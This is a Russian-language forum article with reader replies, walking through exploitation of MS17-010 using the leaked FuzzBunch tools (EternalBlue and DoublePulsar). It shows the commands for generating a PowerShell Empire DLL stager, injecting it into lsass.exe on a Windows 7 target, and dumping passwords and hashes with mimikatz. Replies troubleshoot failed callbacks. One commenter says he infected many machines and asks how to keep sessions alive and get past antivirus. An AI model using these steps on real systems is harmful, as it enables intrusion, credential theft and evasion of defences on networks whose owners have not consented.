Статья PowerShell Empire (часть 2) Fuzzbunch

В предыдущей статье (Часть 1) , мы ознакомились с Powershell Empire и вектором атаки через уязвимость браузера IE 9-11. В этой статье мы ознакомимся с вектором атаки с использованием уязвимости MS17-010.

2. Вектор атаки Fuzzbunch (MS17-010)

Второй вектор атаки будет сложнее. Мы будем использовать Fuzzbunch (связку EternalBlue + Doublepulsar). Эксплуатация уязвимости MS17-010.

1. Для установки FuzzBunch нам понадобится либо 32-битная Windows машина, либо Linux с установленным окружением Wine. Мы воспользуемся вторым вариантом, чтобы оба инструмента, Empire и FuzzBunch, находились в одном дистрибутиве.
Код:
git clone github.com/fuzzbunch/fuzzbunch.git
Для работы FuzzBunch нам понадобится Python 2.6 и, чтобы не захламлять ваше основное окружение Wine, я рекомендую создать новое. Для начала устанавливаем/обновляем Wine:
Код:
apt-get instal wine winbind
Дальше нам нужно работать от имени root- пользователя.
Создаем и инициализируем новое окружение:
Код:
mkdir ~/.wine_fuzzbunch
WINEPREFIX="/root/.wine_fuzzbunch/" winecfg
Оставляем все параметры без изменений, жмем ОК.
Код:
export WINEPREFIX=/root/.wine_fuzzbunch/
Проверяем, что окружение создалось успешно:

Код:
cd ~/.wine_fuzzbunch/
ls
empire_fuzzbunch_001.png


Добавляем в PATH требуемые директории
Код:
wine regedit.exe
HKEY_CURRENT_USER-Enviroment
добавляем строковый параметр PATH с содержанием
Код:
c:\\windows;c:\\system;C:\\Python26;C:\\nsa\windows\fuzzbunch
Устанавливаем FuzzBunch в окружение Wine:
Код:
mkdir -p ~/.wine_fuzzbunch/drive_c/nsa/windows
cd ~/.wine/drive_c/nsa/windows
cp -R [ваш_каталог_с_fuzzbunch]/* .
wget https://www.python.org/ftp/python/2.6/python-2.6.msi
wget https://downloads.sourceforge.net/project/pywin32/pywin32/Build 219/pywin32-219.win32-py2.6.exe?r=&ts=1493192168&use_mirror=netcologne
Устанавливаем Python 2.6
Код:
wine msiexec /i python-2.6.msi
Устанавливаем pywin32
Код:
wine pywin32-219.win32-py2.6.exe
(тут уменя pywin32-219.win32-py2.6.exe скачался почему-то под именем «pywin32-219.win32-py2.6.exe?r=» , пришлось переименовать)

Постинсталляция:
Код:
wine cmd.exe
cd C:\Python26\Scripts
python pywin32_postinstall.py -install
cd C:\nsa\windows
mkdir listeningposts
2. С установкой покончено, теперь можно перейти к действию:

Из окружения Wine выполняем следующую команду:
Код:
python fb.py
empire_fuzzbunch_002.png


После запуска видим меню FuzzBunch:

empire_fuzzbunch_003.png


Я использую Parrot OS,и при использовании данного модуля у меня в консоли пропечатывается лишний мусор (если кто знает, в чем причина, подскажите пожалуйста!)

Итак, мы готовы к атаке. Атаковать будем Windows 7 x 64 в доменной сети. На ней установлены прошлогодние обновления за декабрь 2016 и обновленный антивирус 360 Total Security.

Адресс атакуемой машины 10.10.36.5 (адресс атакующего 10.10.100.2)

Указываем
Код:
Default Target IP Address : 10.10.36.5
Default Callback IP Address: 10.10.100.2
Use Redirection: no (с параметром yes у меня не завелось)
Base log directory: C:\logs (тут будут логи всех команд и действий с атакуемой машины)
Задаем имя проэкту: parrot_empire
3. Начнем с использования модуля Eternalblue:
Код:
use Eternalblue
На вопрос о проверке параметров отвечаем утвердительно.

Оставляем все без изменения, кроме пункта о методе доставки. Тут выбираем FB.
Код:
Mode :: Delivery mechanism
1) FB
[?] Mode [0]: 1


empire_fuzzbunch_004.png


empire_fuzzbunch_005.png


Подтверждаем выполнение yes

Если видим сообщение Eternalblue Succeeded, значит все прошло успешно.

4. Теперь нам нужно подготовить в качестве механизма доставки dll. Если бы вы использовали Empire на отдельной машине, то для доставки стейджера на машину с FuzzBunch будет удобно сохранить его в каталог веб-сервера и затем скачать по сети. Но поскольку у нас Powershell Empire и FuzzBunch на одной машине, то сохраним файл в корень диска С окружения Wine.

Вернемся в окно Empire:

1) Создаем новый listener (или используем созданный в первом примере)

empire_fuzzbunch_006.png


Теперь нужно создать dll:
Код:
usestager dll MyEmpire
set Arch x64
set OutFile /root/.wine_fuzzbunch/drive_c/launcer64.dll
execute
где Arch x64/x86 в зависимости от атакуемой системы, OutFile файл dll , который создадим, MyEmpire- имя listenera.

empire_fuzzbunch_007.png


Модифицированная dll успешно создана и лежит в корне С wine.

5. Возвращаемся в FuzzBunch:

Теперь нам нужен модуль DoublePulsar

Код:
use DoublePulsar
оставляем все по-умолчанию.
Код:
Protocol SMB
Architecture 1 (x64) - меняем архитектуру
Function: 2 - В качестве функции выбираем ddl , созданную в Empire
DllPayload: C:\launcher64.dll
Опционально можно изменить имя процесса, под которым будем внедряться и параметры запуска. Но пока я оставлю все как есть (процесс lsass.exe)

empire_fuzzbunch_008.png


Подтверждаем выполнение
yes.
Выполняем модуль.

И получаем сессию в Empire:

empire_fuzzbunch_009.png



6. Выбираем взаимодействие со свежим агентом

Код:
interact BWUEHDPACARXAW3Y
Запускаем встроенный модуль mimikatz:
Код:
mimikatz
И получаем все пароли и хэши.

empire_fuzzbunch_010.png


Еще есть полезный модуль creds, который показывает уже полученные пароли удобным списком.

empire_fuzzbunch_011.png


Подробнее с модулями можно ознакомиться на официальном сайте

Защита
UPD: уязвимость MS17-010 закрыта в .
так же рекомендуется настроить фаервол и закрыть\ фильтровать порты.

PS: Данный раздел был написан основываясь на материале, представленном в статье


О web-интерфейсе к Powershell Empire я напишу в Часть 3
 
Последнее редактирование модератором:
J

Juice

На момент написания статьи (13.05.2017) уязвимость MS17-010 не закрыта! Единственный метод защиты - настроить фаервол и закрыть\ фильтровать порты.
Как не закрыта? А ?
А если остановить службу "Сервер", можно я не буду фильтровать порты?
 
D

Dmitry88

Как не закрыта? А ?
А если остановить службу "Сервер", можно я не буду фильтровать порты?
Уже закрыли. Да, если отключить SMB службу, то можно не фильтровать. Но пока самый простой способ - обновиться.
ПС: Майки молодцы, даже на старушку ХР заплатку выпустили.
 
  • Нравится
Реакции: DarkDepth

SooLFaa

Platinum
15.07.2016
898
1 560
BIT
36
Статья конечно хорошая, но как мануал по установке FuzzBunch(коих уже тысячи). Не объяснено ни одного термина. EternalBlue, DoublePulsar (который в начале статьи ты обозвал DarkPulsar'om) а это по сути dll injector и в остальном как гайд по установке неплохо. А вот интересно как раз было бы почитать полный разбор всех слитых эксплоитов, что как и зачем. Но эту тему я наверное на себя возьму после PHDAYS.
 
D

Dmitry88

Статья конечно хорошая, но как мануал по установке FuzzBunch(коих уже тысячи). Не объяснено ни одного термина. EternalBlue, DoublePulsar (который в начале статьи ты обозвал DarkPulsar'om) а это по сути dll injector и в остальном как гайд по установке неплохо. А вот интересно как раз было бы почитать полный разбор всех слитых эксплоитов, что как и зачем. Но эту тему я наверное на себя возьму после PHDAYS.
Спасибо за отзыв. Но в начале я честно предупредил о копипасте. Просто хотел поделиться личным опытом лустановки использования. Про DoublePulsar каюсь, паралельно читал про DarkPulsar и опечатался.
ПС: С удовольствием почитаю про остальные утилиты.
 
T

ttrolomen

Всем привет и сразу спасоибо за статью!
возник вопрос, есть схема, kali->router1->inet->vpn(pptp от ноута к router2)->router2->pc MS17-010, вобщем все получается, только после отправке dll через FuzzBunch ничего не проихидит, вернее "[+]Command completed successfully [+]Doublepulsar Succeeded", а в Empire сессия не приходит.
Обратил внимание, netstat говорит "tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 3558/python", указываю ip полученный от router2.

ppp0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1400
inet x.x.x.x netmask 255.255.255.255 destination x.x.x.2
ppp txqueuelen 3 (Point-to-Point Protocol)
RX packets 44174 bytes 40125285 (38.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 35385 bytes 10501600 (10.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

помогайте)
Автору большое спасибо!
 
D

Dmitry88

Всем привет и сразу спасоибо за статью!
возник вопрос, есть схема, kali->router1->inet->vpn(pptp от ноута к router2)->router2->pc MS17-010, вобщем все получается, только после отправке dll через FuzzBunch ничего не проихидит, вернее "[+]Command completed successfully [+]Doublepulsar Succeeded", а в Empire сессия не приходит.
Я могу ошибаться, но есть предположение, что нужно пробросить порт listenera на router2. Судя по логу агент не может достучаться к listener'у.
Поправьте , если не прав.
 
W

WinCent

Всем привет, отличная статья, респект автору!
Но возникла вот такая проблема
Код:
[?] Execute Plugin? [Yes] : yyeyesyes
[*] Executing Plugin
[*] Connecting to target for exploitation.
    [+] Connection established for exploitation.
[*] Pinging backdoor...
    [+] Backdoor not installed, game on.
[*] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump (43 bytes):
0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
0x00000020  69 63 65 20 50 61 63 6b 20 31 00                 ice Pack 1.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
    ................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
    [+] Sending SMBv2 buffers
        .............DONE.
    [+] Sending large SMBv1 buffer..DONE.
    [+] Sending final SMBv2 buffers......DONE.
    [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
    DONE.
[*] Receiving response from exploit packet
[-] No response received from exploit packet. Not good.
[+] CORE terminated with status code 0xdf5d0013
[-] Error getting output back from Core; aborting...
[!] Plugin failed
[-] Error: Eternalblue Failed
Заранее спасибо!
 
D

Dmitry88

Всем привет, отличная статья, респект автору!
Но возникла вот такая проблема
Код:
[?] 
    [+] Backdoor not installed, game on.
   Windows 7 Professional 7601 Service Pack 1.
 Receiving response from exploit packet
[-] No response received from exploit packet. Not good.
[+] CORE terminated with status code 0xdf5d0013
[-] Error getting output back from Core; aborting...
[!] Plugin failed
[-] Error: Eternalblue Failed
Заранее спасибо!
Проверь уязвим ли хост, открыты ли порты (может фаервол включен), попробуй включить\отключить антивирус. Устанавливал ли обновления на win7.
Еще желательно покажи с какими настройками запускал.
У меня подобная ошибка пару раз выпадала, в первом случае там оказалась винда патченая, во втором так и не понял. Просто ответа не приходило обратно. Но это был 1 пк из 200.
 

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 188
BIT
0
кто решил проблему такого характера заразил много машин они ессно на след день перегрузились почти все, агенты в empire есть!(остались) включается interact! НО... при команде sysinfo никакой реакции!..... то есть после того как машина жертвы пере загрузилась сессия пропала((( кто что посоветует?? как сохранить(возобновить) сессию!?

ПС не хочется юзать метерпретор.... он такое умеет оставатся,(но он палится) мне больше empire по душе...
 
Последнее редактирование:
D

Dmitry88

кто решил проблему такого характера заразил много машин они ессно на след день перегрузились почти все, агенты в empire есть!(остались) включается interact! НО... при команде sysinfo никакой реакции!..... то есть после того как машина жертвы пере загрузилась сессия пропала((( кто что посоветует?? как сохранить(возобновить) сессию!?

ПС не хочется юзать метерпретор.... он такое умеет оставатся,(но он палится) мне больше empire по душе...
Давай я погуглю за тебя:
 

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 188
BIT
0
Давай я погуглю за тебя:***Скрытый текст***
это все я знаю Бро! персистенс и т.д. закрепится в системе кстати авторан можно включить в скрипте персистенс но дело в другом! А именно то что персистенс палится антивирусом((( вопрос как это обойти?) он закрепляется! Но после перезагрузки отпадает от ОС-и

криптовка скажите Вы, но чую она продержится не долго как сделать чтобы наверняка?
Тема интересна всем я думаю давайте ее развивать но уже ниже!))
 
Последнее редактирование:
  • Нравится
Реакции: Dmitry88
D

Dmitry88

Тема интересна всем я думаю давайте ее развивать но уже ниже!))
Я только за! Потестируй на виртуалках, со свежими фришными антивирусами как вариант. И отпишись пожалуйста. Думаю многим будет интересно почитать. Я пока такими тестами заняться не могу, т.к. работаю над другим проэктом. Но если выкроиться время -потестирую.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!